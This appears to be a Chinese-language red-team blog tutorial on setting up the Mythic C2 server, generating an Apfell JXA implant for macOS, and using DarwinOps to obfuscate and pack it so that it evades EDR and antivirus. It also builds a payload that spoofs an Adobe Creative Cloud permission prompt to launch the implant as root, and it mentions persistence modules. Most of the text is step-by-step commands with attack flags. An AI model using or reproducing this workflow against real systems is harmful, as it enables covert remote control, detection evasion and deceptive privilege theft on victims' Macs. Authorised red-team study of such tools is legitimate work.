MacOS红队实战使用DarwinOps构建Mythic C2武器化载荷本文将探讨如何在MacOS上搭建Mythic C2命令控制框架及其Apfell植入程序。我们将使用BallisKit DarwinOps对植入程序进行武器化处理以绕过EDR检测。同时还将演示如何使用权限提升模块获取Root访问权限。1. 验证依赖项开始之前确保已安装构建mythic-cli所需的所有依赖项aptinstallmake-yaptinstallgit-y2. 从GitHub下载Mythic从GitHub克隆Mythic仓库并进入目录sudogitclone https://github.com/its-a-feature/Mythic.gitcdMythic3. 安装Docker和Docker ComposeMythic需要Docker和Docker Compose来运行其服务。使用以下脚本之一安装DockerDebian:./install_docker_debian.shKali Linux:./install_docker_kali.shUbuntu:./install_docker_ubuntu.sh4. 构建Mythic-CLI构建mythic-climake如果一切顺利你将得到一个可用的./mythic-cli文件。5. 启动Mythic脚本执行完成后即可启动Mythic./mythic-cli start提示某些容器可能需要时间初始化并与其它服务通信。初始阶段看到错误消息是常见现象重要的是所有容器都已启动。6. 配置所有配置通过.env文件或以下命令完成./mythic-cli config如果C2服务器需要远程访问必须执行以下命令./mythic-cli configsetmythic_server_bind_localhost_onlyfalse./mythic-cli restart现在可以通过服务器IP地址访问UI面板。如果无法连接请确保’BOUND LOCALLY’设置为false。通过以下地址访问Mythic UIhttps://127.0.0.1:7443/new/login登录凭证用户名mythic_admin密码自动生成可在.env文件中找到。或使用命令grep^MYTHIC_ADMIN_PASSWORD.env|cut-d-f27. 安装Payload和C2Profile登录后进入Payloads部分安装payload和通信通道安装Apfell用于macOS的Mythic payload使用JXAsudo./mythic-cliinstallgithub https://github.com/MythicAgents/apfell安装HTTP C2Profile与植入程序通信sudo./mythic-cliinstallgithub https://github.com/MythicC2Profiles/http8. 生成Apfell Payload生成Apfell payload的步骤选择MacOS如果Apfell是唯一安装的payload则为默认选项选择Apfell如果也是唯一安装的payload则为默认选项添加所需的命令不会影响整体流程选择C2 Profiles时确保包含HTTP验证参数是否匹配。默认设置为https://和端口80。如果配置不一致将无法工作参数输入完成后即可下载payload9. 使用DarwinOps进行武器化生成的payload可能会被防病毒程序标记并删除因此需要对其进行武器化处理。这里将使用DarwinOps专为MacOS设计的红队工具包武器化Apfell payload./darwin_ops -G payload.app -i apfell.js --autopack --obfuscate执行生成的payload./in_memory_exec.js权限提升模块使用如果需要更高权限可以使用Privesc模块将自己伪装成合法应用程序./darwin_ops -G privesc.app -i apfell.js --privesc --privesc-delay-execution10--privesc-prompt_app_nameAdobe Creative Cloud--privesc-prompt-app-icon CreativeCloudApp.icns --autopack --obfuscateApple的原生提示被伪装成我们选择的应用程序但实际上将以root权限启动我们的Apfell植入程序。如图所示通过植入程序获得了root访问权限DarwinOps还允许通过其他模块添加持久化功能。FINISHEDCSD0tFqvECLokhw9aBeRqgJcKWJFbirK01iJlMQBy8dA/IoUmQ3a8NCV4f4/iDmWdrGlB1AYwCQcYLk3pbu5V7iJKALOsEBgSH36NPVXQ5dRIxJeywUbdYhy6nc3JEcVMdU0GYoG38NOoYTQ更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享